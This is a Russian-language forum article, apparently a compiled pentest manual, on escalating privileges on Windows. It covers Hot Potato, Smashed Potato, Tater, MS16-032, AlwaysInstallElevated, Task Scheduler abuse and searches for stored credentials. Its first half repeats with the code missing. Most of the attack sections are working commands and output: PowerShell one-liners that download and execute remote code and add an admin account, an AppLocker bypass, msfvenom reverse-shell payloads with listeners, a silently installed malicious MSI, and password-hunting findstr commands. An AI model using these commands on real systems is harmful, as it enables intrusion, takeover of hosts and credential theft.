Повышение привилегий с Hot Potato
Известен также как просто Potato. Очень интересный инструмент. Неординарность этого инструмента заключается в том, что длядостижения цели он использует связку из трех атак: NBNS-спуфинг → WPAD-прокси → HTTP2SMB-релeй.
Спуфинг осуществляется для того, чтобы перенаправить жертву (то есть локальный компьютер) на подконтрольный атакующему WPAD-прокси- сервер. В нашем случае он также будет располагаться на локальной машине по адресу 127.0.0.1:80.
Фишка в том, что IE-шка по дефолту будет автоматически пытаться определить сетевые настройки, пробуя обратиться по адресу http://wpad/wpad.dat. Что наиболее интересно для нас — так же поступают и некоторые службы Windows, например Windows Update. Ну а далее в дело вступает HTTP2SMB-релей. Прокси будет перенаправлять все запросы на некий уникальный URL, попутно запрашивая NTLM-аутентификацию. Полученные учетные данные будут передаваться на локальный дефолтный SMB-листенер для создания нового системного сервиса, который и будет выполнять наши команды. Таким образом, при получении запроса от привилегированного сервиса (Windows Update) команды будут выполняться с уровнем NT
AUTORITY\SYSTEM.
Это что касается принципов работы. Теперь о практике. А практика будет разделена на две части: на «семерке» все достаточно просто, все, что старше, — уже не так легко. Итак, в Windows 7 нам поможет следующая команда, запущенная от обычного непривилегированного пользователя:
В качестве значения параметра cmd может быть все что угодно, например команда вида
Кстати, если в Сети есть реальная DNS-запись для WPAD, то надо будет указать опцию disable_exhaust false.В случае с более свежими версиями винды, ситуация несколько усложняется — в них ни Defender, ни Update-сервисы уже не будут
обращаться к WPAD-сеpверу. Однако там есть такая штука, как автоматическое обновление отозванных сертификатов, — свежие версии Windows по умолчанию раз в день скачивают списки доверенных сертификатов. Она как раз
использует WPAD. Команда будет выглядеть следующим образом:
Так как скачивание происходит раз в день, то, возможно, придется подождать какое-то время (максимум 24 часа). Поэтому способ скорее для тех, кто не торопится.
Повышение привилегий с Smashed Potato
Smashed Potato — это модифицированная версия Hot Potato, рассмотренного выше. Итак, каковы же основные изменения?
• Все .NET-сборки смержены в одну сборку, которая преобразована в массив байтов (Byte[]) — да-да, Potato писан на шарпе.
• Запуск сборки Potato из памяти.
• Включен метод обхода AppLocker с помощью InstallUtil.
• Добавлена некоторая автоматизация.
Инструмент поставляется с открытым исходным кодом, поэтому, чтобы собрать его, надо будет выполнить следующее.
Под 32-разрядные системы:
Для 64-разpядных:
Далее, для того чтобы запустить инструмент с обходом AppLoсker, нужно выполнить следующее:
Это для 32-разрядных, как будет выглядеть для x64, я думаю, уже понятно . Кстати, вот однострочный PowerShell-скрипт, который выполнит все перечисленные действия для x64-машины:
Повышение привилегий с Tater
Ну а что делать, если на машине не установлен .NET Framework? Воспользоваться PowerShell-версией Hot Potato — Tater, которая сразу загружается в память и не оставляет следов на диске! Запустить утилиту можно в одну строку:
После чего в системе появится пользователь User1 с паролем Password1, входящий в группу администраторов. Но надо отметить, что для Windows 10 следует использовать ключ -Trigger 2.
Компиляция сплоитов в Kali
Бесспорно, основной операционной системой для проведения пентеста/взлома служит Linux, под него реализована куча инструментов, да и вообще мало кто ломает из-под винды. И с ним все прекрасно по дефолту, пока не надо скомпилировать сплоит под винду (в нашем случаедля поднятия привилегий). Исправляется такой недостаток установкой
Mingw-w64:
Дальше все просто, качаем сплоит и компилируем:
EasySystem
Если локальный админ у вас уже есть и вопрос заключается только в том, как дотянуться до системы, то можно взглянуть в сторону небольшой утилитки EasySystem. Как пишет сам автор утилиты, это никакой не эксплоит, а «старый и грязный» прием с имперсонацией именованных каналов
Повышение привилегий Windows. EasySystem и именованные каналы даруют NT AUTHORITY\SYSTEMВ некоторых ситуациях такой инструмент может пригодиться. На технических деталях мы подробно останавливаться не будем
Secondary Logon Handle
Еще один интересный трюк связан с использованием службы «Вторичный вход в систему». Данная служба позволяет запускать программы, консоли Microsoft Management, элементы контрольной панели от имени администратора, даже если текущий пользователь принадлежит всего лишь к группе Users или Power Users. Суть в том, что данный сервис не очищает хендлы при создании новых процессов. Что для нас важно — данной уязвимости подвержены почти все версии
Windows (x32 и x64): начиная с Vista и заканчивая Windows 2012 Server. Но есть и ограничения: для успешного повышения привилегий в системе должен быть установлен PowerShell 2.0 или выше, а также присутствовать два и более CPU-ядер. В Metasploit Framework есть специальный модуль
Его использование подразумевает, что у нас уже есть meterpreter-сессия, которую мы и должны указать в параметрах: set SESSION 1. Ну и в случае успешной эксплуатации у нас появится еще одна сессия, с повышенными привилегиями.
Для этой же уязвимости есть и PowerShell-скрипт, запускающий командную оболочку с правами системы. А также скомпилированный бинарник, выполняющий то же самое. Кстати гoворя, Microsoft выпустила патч, поэтому прежде, чем пытаться
поднять привилегии, проверьте, не установлен ли он:
Примеры и трюки
Политика AlwaysInstallElevated
Данная политика разрешает Windows Installer'у использовать повышенные привилегии при установке любых програм в системе. Активация данной политики эквивалентно раздаче обычным пользователям админских прав.
Для того чтобы понять разрешена ли данная политика на целевой системе вам необходимо проверить следующие значения системного реестра:
Если у вас есть непривилегированная сессия Meterpreter'a на целевой машине, то вы можете использовать встроенную утилиту reg query для проверки указанных значений реестра:
Если при выводе вы получите ошибку “ERROR: The system was unable to find the specified registry key or value.” это значит, что такие ключи никогда не создавались на целевой машине, а соответственно политика AlwaysInstallElevated не разрешена.
Но если при выводе вы получите:
Как было сказано ранее в этом случае Windows Installer будет использовать повышинные привилегии при установке любых программ. Следовательно мы можем сгенерировать .msi файл и запустить его на целевой машине. В этом нам поможет MSFvenom. Если вы хотите сгенерировать .msi файл, который добавит локального админа на целевой машине, то вам необходимо использовать windows/adduser в качестве пэйлоада:
В качестве примера мы сгенерируем reverse shell пэйлоад (Payload.exe) и .msi файл (malicious.msi), который запустит наш пэйлоад на целевоймашине. Герерируем Payload.exe:
Теперь генерируем malicious.msi используя windows/exec в качестве пэйлоада:
Теперь можем загрузить эти два файла на целевую машину:
Перед запуском .msi файла запустим новый хэндлер в другом терминале для работы с новым шеллом (с повышенными привилегиями)
Теперь можно запустить наш .msi файл на целевой машине:
Описание ключей:
/quiet = скрывать любые сообщения для пользователя при установке
/qn = не использовать графический интерфейс (GUI)
/i = обычная (а не админ) установка
После установки мы получаем шелл с правами SYSTEM на целевой машине:
Также в Metasploit есть готовый модуль для применения описанной техники:
Использование Планировщика задач (Task Scheduler) для повышение привилегий
Данный метод работатет только на Windows 2000, XP и 2003 системах. Вам необходимы права локального админа для управления запланированными задачами. Если же у вас сессия meterpreter'a с ограниченными правами, то данный метод не сработает. На системах Windows 2000, XP и 2003 запланированные задачи запускаются с правами SYSTEM. Следовательно, если мы создадим задачу, которая запускает нашего “зверька”, то он будет запущен с правами SYSTEM
Для демонстрации снова сгенерируем reverse shell пэйлоад:
Теперь можно загрузить его на целевую машину (в любую папку). В нашем случае мы дропнем пэйлоад в папку Temp:
Также нам необходимо удостовериться что Планировщик задач работает на целевой машине. Для этого просто попробуем запустить его:
Как видим, планировщик уже запущен. Проверим текущее время на целевой машине:
Создадим задачу, которая будет запускать наш файл через одну минуту от текущего времени на целевой машине:
Запустим хэндлер в новом терминале. Через минуту выполнится наш файл с правами SYSTEM и у нас будет сессия с правами SYSTEM:
Ну и напоследок способ который так же иногда может помочь
Сохраненные учетные данные (Stored Credentials)
Еще одним методом, который может привести нас к повышению привилегий на целевой машине является поиск сохраненных учетных данных. Например, можно поискать такие файлы/директории:
Также можно воспользоваться поисковыми запросами для поиска файлов на целевой машине, например:
Молодцы, те кто дочитал до конца. Еще раз повторюсь, что эта статья является компиляцией знаний по технологиям повышения привилегий в системах Windows. К сожалению не смогу уже вспомнить и сослаться на часть авторов на основании статей которых я собирал этот огромный мануал, но выражаю им благодарность.
Links
1.1 Повышение привилегий с BeRoot (AlessandroZ/BeRoot)
1.2 Повышение привилегий с Sherlock (rasta-mouse/Sherlock)
1.3 Повышение привилегий с Windows-privesc-check (pentestmonkey/windows-privesc-check)
1.4 Повышение привилегий с Hot Potato (foxglovesec/Potato)
1.5 Повышение привилегий с Smashed Potato (Cn33liz/SmashedPotato)
1.6 Повышение привилегий с Tater (Kevin-Robertson/Tater)
1.7 Easy System (Cn33liz/EasySystem)
P.S. Автор статьи не несет ответственности за применение описываемых техник в незаконных целях. Материал статьи предоставлен в образовательных целях и для использования в рамках white hat практик.
Известен также как просто Potato. Очень интересный инструмент. Неординарность этого инструмента заключается в том, что длядостижения цели он использует связку из трех атак: NBNS-спуфинг → WPAD-прокси → HTTP2SMB-релeй.
Спуфинг осуществляется для того, чтобы перенаправить жертву (то есть локальный компьютер) на подконтрольный атакующему WPAD-прокси- сервер. В нашем случае он также будет располагаться на локальной машине по адресу 127.0.0.1:80.
Фишка в том, что IE-шка по дефолту будет автоматически пытаться определить сетевые настройки, пробуя обратиться по адресу http://wpad/wpad.dat. Что наиболее интересно для нас — так же поступают и некоторые службы Windows, например Windows Update. Ну а далее в дело вступает HTTP2SMB-релей. Прокси будет перенаправлять все запросы на некий уникальный URL, попутно запрашивая NTLM-аутентификацию. Полученные учетные данные будут передаваться на локальный дефолтный SMB-листенер для создания нового системного сервиса, который и будет выполнять наши команды. Таким образом, при получении запроса от привилегированного сервиса (Windows Update) команды будут выполняться с уровнем NT
AUTORITY\SYSTEM.
Это что касается принципов работы. Теперь о практике. А практика будет разделена на две части: на «семерке» все достаточно просто, все, что старше, — уже не так легко. Итак, в Windows 7 нам поможет следующая команда, запущенная от обычного непривилегированного пользователя:
Код:
Potato.exe -ip -cmd [command] -disable_exhaust true
В качестве значения параметра cmd может быть все что угодно, например команда вида
Код:
C:\\Windows\\System32\\cmd.exe /K net localgroup administrators
USERNAME /add
Кстати, если в Сети есть реальная DNS-запись для WPAD, то надо будет указать опцию disable_exhaust false.В случае с более свежими версиями винды, ситуация несколько усложняется — в них ни Defender, ни Update-сервисы уже не будут
обращаться к WPAD-сеpверу. Однако там есть такая штука, как автоматическое обновление отозванных сертификатов, — свежие версии Windows по умолчанию раз в день скачивают списки доверенных сертификатов. Она как раз
использует WPAD. Команда будет выглядеть следующим образом:
Код:
Potato.exe -ip -cmd [command] -disable_exhaust true -disable_defender true
Так как скачивание происходит раз в день, то, возможно, придется подождать какое-то время (максимум 24 часа). Поэтому способ скорее для тех, кто не торопится.
Повышение привилегий с Smashed Potato
Smashed Potato — это модифицированная версия Hot Potato, рассмотренного выше. Итак, каковы же основные изменения?
• Все .NET-сборки смержены в одну сборку, которая преобразована в массив байтов (Byte[]) — да-да, Potato писан на шарпе.
• Запуск сборки Potato из памяти.
• Включен метод обхода AppLocker с помощью InstallUtil.
• Добавлена некоторая автоматизация.
Инструмент поставляется с открытым исходным кодом, поэтому, чтобы собрать его, надо будет выполнить следующее.
Под 32-разрядные системы:
Код:
cd \Windows\Microsoft.NET\Framework\v4.0.30319
csc.exe /out:"C:\Utils\SmashedPotatoX86.exe" /platform:x86
"C:\Utils\SmashedPotato.cs"
Для 64-разpядных:
Код:
cd \Windows\Microsoft.NET\Framework64\v4.0.30319
csc.exe /out:"C:\Utils\SmashedPotatoX64.exe" /platform:x64
"C:\Utils\SmashedPotato.cs"
Далее, для того чтобы запустить инструмент с обходом AppLoсker, нужно выполнить следующее:
Код:
cd \Windows\Microsoft.NET\Framework\v4.0.30319
InstallUtil.exe /logfile= /LogToConsole=false /U C:\Utils\SmashedPotatoX86.exe
Это для 32-разрядных, как будет выглядеть для x64, я думаю, уже понятно . Кстати, вот однострочный PowerShell-скрипт, который выполнит все перечисленные действия для x64-машины:
Код:
powershell -ExecutionPolicy Bypass -noLogo -Command (new-object
System.Net.WebClient).DownloadFile('http://is.gd/y6cfKV','%temp
%\SmashedPotato.cs'); && cd
c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /out:"%temp
%\SmashedPotatoX64.exe" /platform:x64 "%temp%\SmashedPotato.cs" &&
InstallUtil.exe /logfile= /LogToConsole=false /U %temp
%\SmashedPotatoX64.exe
Повышение привилегий с Tater
Ну а что делать, если на машине не установлен .NET Framework? Воспользоваться PowerShell-версией Hot Potato — Tater, которая сразу загружается в память и не оставляет следов на диске! Запустить утилиту можно в одну строку:
Код:
powershell "IEX (New-Object
Net.WebClient).DownloadString('http://is.gd/fVC1Yd'); Invoke-Tater
-Trigger 1 -Command ""net user User1 Password1 /add && net
localgroup administrators User1 /add"""
После чего в системе появится пользователь User1 с паролем Password1, входящий в группу администраторов. Но надо отметить, что для Windows 10 следует использовать ключ -Trigger 2.
Компиляция сплоитов в Kali
Бесспорно, основной операционной системой для проведения пентеста/взлома служит Linux, под него реализована куча инструментов, да и вообще мало кто ломает из-под винды. И с ним все прекрасно по дефолту, пока не надо скомпилировать сплоит под винду (в нашем случаедля поднятия привилегий). Исправляется такой недостаток установкой
Mingw-w64:
Код:
apt-get update
apt-get install mingw-w64
Дальше все просто, качаем сплоит и компилируем:
Код:
wget ‐‐ output-document= 40564.c https://www.exploit-db.com/download/40564
i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32
EasySystem
Если локальный админ у вас уже есть и вопрос заключается только в том, как дотянуться до системы, то можно взглянуть в сторону небольшой утилитки EasySystem. Как пишет сам автор утилиты, это никакой не эксплоит, а «старый и грязный» прием с имперсонацией именованных каналов
Повышение привилегий Windows. EasySystem и именованные каналы даруют NT AUTHORITY\SYSTEMВ некоторых ситуациях такой инструмент может пригодиться. На технических деталях мы подробно останавливаться не будем
Secondary Logon Handle
Еще один интересный трюк связан с использованием службы «Вторичный вход в систему». Данная служба позволяет запускать программы, консоли Microsoft Management, элементы контрольной панели от имени администратора, даже если текущий пользователь принадлежит всего лишь к группе Users или Power Users. Суть в том, что данный сервис не очищает хендлы при создании новых процессов. Что для нас важно — данной уязвимости подвержены почти все версии
Windows (x32 и x64): начиная с Vista и заканчивая Windows 2012 Server. Но есть и ограничения: для успешного повышения привилегий в системе должен быть установлен PowerShell 2.0 или выше, а также присутствовать два и более CPU-ядер. В Metasploit Framework есть специальный модуль
Код:
exploit/windows/local/ms16_032_secondary_logon_handle_privesc.
Для этой же уязвимости есть и PowerShell-скрипт, запускающий командную оболочку с правами системы. А также скомпилированный бинарник, выполняющий то же самое. Кстати гoворя, Microsoft выпустила патч, поэтому прежде, чем пытаться
поднять привилегии, проверьте, не установлен ли он:
Код:
C:\Users\pentestlab>wmic qfe list | find "3139914"
Примеры и трюки
Политика AlwaysInstallElevated
Данная политика разрешает Windows Installer'у использовать повышенные привилегии при установке любых програм в системе. Активация данной политики эквивалентно раздаче обычным пользователям админских прав.
Код:
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
Если у вас есть непривилегированная сессия Meterpreter'a на целевой машине, то вы можете использовать встроенную утилиту reg query для проверки указанных значений реестра:
Код:
meterpreter > getuid
Server username: TARGETCOMPUTER\testuser
meterpreter > shell
Process 812 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Desktop>reg query
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
ERROR: The system was unable to find the specified registry key or
value.
C:\Users\testuser\Desktop>reg query
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
ERROR: The system was unable to find the specified registry key or value.
C:\Users\testuser\Desktop>
Если при выводе вы получите ошибку “ERROR: The system was unable to find the specified registry key or value.” это значит, что такие ключи никогда не создавались на целевой машине, а соответственно политика AlwaysInstallElevated не разрешена.
Но если при выводе вы получите:
Код:
meterpreter > getuid
Server username: TARGETCOMPUTER\testuser
meterpreter > shell
Process 2172 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.C:\Users\testuser\Desktop>reg query
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
C:\Users\testuser\Desktop>reg query
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
C:\Users\testuser\Desktop>
Как было сказано ранее в этом случае Windows Installer будет использовать повышинные привилегии при установке любых программ. Следовательно мы можем сгенерировать .msi файл и запустить его на целевой машине. В этом нам поможет MSFvenom. Если вы хотите сгенерировать .msi файл, который добавит локального админа на целевой машине, то вам необходимо использовать windows/adduser в качестве пэйлоада:
Код:
root@kali:~# msfvenom -f msi-nouac -p windows/adduser
USER=eviladmin PASS=P4ssw0rd@ -o add_user.msi
No platform was selected, choosing Msf::Module::Platform::Windows
from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 277 bytes
Final size of msi file: 159744 bytes
Saved as: add_user.msi
root@kali:~#
В качестве примера мы сгенерируем reverse shell пэйлоад (Payload.exe) и .msi файл (malicious.msi), который запустит наш пэйлоад на целевоймашине. Герерируем Payload.exe:
Код:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e
x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o
Payload.exe
No platform was selected, choosing Msf::Module::Platform::Windows
from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of
x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: Payload.exe
Теперь генерируем malicious.msi используя windows/exec в качестве пэйлоада:
Код:
root@kali:~# msfvenom -f msi-nouac -p windows/exec
cmd="C:\Users\testuser\AppData\Local\Temp\Payload.exe" >
malicious.msi
No platform was selected, choosing Msf::Module::Platform::Windows
from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 233 bytes
Final size of msi-nouac file: 159744 bytes
Теперь можем загрузить эти два файла на целевую машину:
Код:
meterpreter > cd C:/Users/testuser/AppData/Local/Temp
meterpreter > upload -f Payload.exe
uploading : Payload.exe -> Payload.exe[/li]
uploaded : Payload.exe -> Payload.exe[/li][/list]meterpreter > upload -f malicious.msi
uploading : malicious.msi -> malicious.msi[/li]
uploaded : malicious.msi -> malicious.msi[/li]
Перед запуском .msi файла запустим новый хэндлер в другом терминале для работы с новым шеллом (с повышенными привилегиями)
Код:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.2.60
lhost => 192.168.2.60
msf exploit(handler) > set lport 8989
lport => 8989
msf exploit(handler) > run
Started reverse TCP handler on 192.168.2.60:8989 [/li]
Starting the payload handler...[/li]
Теперь можно запустить наш .msi файл на целевой машине:
Код:
meterpreter > shell
Process 1260 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\AppData\Local\temp>msiexec /quiet /qn /i
malicious.msi
msiexec /quiet /qn /i malicious.msi
C:\Users\testuser\AppData\Local\temp>
Описание ключей:
/quiet = скрывать любые сообщения для пользователя при установке
/qn = не использовать графический интерфейс (GUI)
/i = обычная (а не админ) установка
После установки мы получаем шелл с правами SYSTEM на целевой машине:
Код:
Started reverse TCP handler on 192.168.2.60:8989 [/li]Starting the payload handler...[/li]
Sending stage (957999 bytes) to 192.168.2.236[/li]
Meterpreter session 1 opened (192.168.2.60:8989 ->
192.168.2.236:36071) at 2016-12-21 04:21:57 -0500[/li][/list]
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Также в Metasploit есть готовый модуль для применения описанной техники:
Код:
exploit/windows/local/always_install_elevated
Использование Планировщика задач (Task Scheduler) для повышение привилегий
Данный метод работатет только на Windows 2000, XP и 2003 системах. Вам необходимы права локального админа для управления запланированными задачами. Если же у вас сессия meterpreter'a с ограниченными правами, то данный метод не сработает. На системах Windows 2000, XP и 2003 запланированные задачи запускаются с правами SYSTEM. Следовательно, если мы создадим задачу, которая запускает нашего “зверька”, то он будет запущен с правами SYSTEM
Для демонстрации снова сгенерируем reverse shell пэйлоад:
Код:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e
x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o
Payload.exeNo platform was selected, choosing Msf::Module::Platform::Windows
from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of
x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: Payload.exe
Теперь можно загрузить его на целевую машину (в любую папку). В нашем случае мы дропнем пэйлоад в папку Temp:
Код:
meterpreter > getuid
Server username: TESTMACHINE\test
meterpreter > sysinfo
Computer : TESTMACHINE
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter > cd "C:/Documents and Settings/test/Local
Settings/Temp"
meterpreter > upload -f Payload.exe
uploading : Payload.exe -> Payload.exe[/li]
uploaded : Payload.exe -> Payload.exe[/li]
Также нам необходимо удостовериться что Планировщик задач работает на целевой машине. Для этого просто попробуем запустить его:
Код:
meterpreter > shell
Process 840 created.
Channel 2 created.Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\test\Local Settings\Temp>net start "Task
Scheduler"
net start "Task Scheduler"
The requested service has already been started.
More help is available by typing NET HELPMSG 2182.
C:\Documents and Settings\test\Local Settings\Temp>
Как видим, планировщик уже запущен. Проверим текущее время на целевой машине:
Код:
C:\Documents and Settings\test\Local Settings\Temp>time
time
The current time is: 6:41:05.81
Enter the new time:
C:\Documents and Settings\test\Local Settings\Temp>
Создадим задачу, которая будет запускать наш файл через одну минуту от текущего времени на целевой машине:
Код:
C:\Documents and Settings\test\Local Settings\Temp>at 06:50
/interactive "C:\Documents and Settings\test\Local
Settings\Temp\Payload.exe"
at 02:32 /interactive "C:\Documents and Settings\test\Local
Settings\Temp\Payload.exe"
Added a new job with job ID = 1
C:\Documents and Settings\test\Local Settings\Temp>
Запустим хэндлер в новом терминале. Через минуту выполнится наш файл с правами SYSTEM и у нас будет сессия с правами SYSTEM:
Код:
msf exploit(handler) > run
Started reverse TCP handler on 192.168.2.60:8989 [/li]
Starting the payload handler...[/li]
Sending stage (957999 bytes) to 192.168.2.231[/li]Meterpreter session 6 opened (192.168.2.60:8989 ->
192.168.2.231:1066) at 2017-01-05 17:58:29 -0500[/li][/list]
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Ну и напоследок способ который так же иногда может помочь
Сохраненные учетные данные (Stored Credentials)
Еще одним методом, который может привести нас к повышению привилегий на целевой машине является поиск сохраненных учетных данных. Например, можно поискать такие файлы/директории:
Код:
C:\unattend.xml
C:\sysprep.inf
C:\sysprep\sysprep.xml
Также можно воспользоваться поисковыми запросами для поиска файлов на целевой машине, например:
Код:
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
findstr /si password *.txt | *.xml | *.ini
findstr /si pass *.txt | *.xml | *.ini
Молодцы, те кто дочитал до конца. Еще раз повторюсь, что эта статья является компиляцией знаний по технологиям повышения привилегий в системах Windows. К сожалению не смогу уже вспомнить и сослаться на часть авторов на основании статей которых я собирал этот огромный мануал, но выражаю им благодарность.
Links
1.1 Повышение привилегий с BeRoot (AlessandroZ/BeRoot)
1.2 Повышение привилегий с Sherlock (rasta-mouse/Sherlock)
1.3 Повышение привилегий с Windows-privesc-check (pentestmonkey/windows-privesc-check)
1.4 Повышение привилегий с Hot Potato (foxglovesec/Potato)
1.5 Повышение привилегий с Smashed Potato (Cn33liz/SmashedPotato)
1.6 Повышение привилегий с Tater (Kevin-Robertson/Tater)
1.7 Easy System (Cn33liz/EasySystem)
P.S. Автор статьи не несет ответственности за применение описываемых техник в незаконных целях. Материал статьи предоставлен в образовательных целях и для использования в рамках white hat практик.
Комментарии
14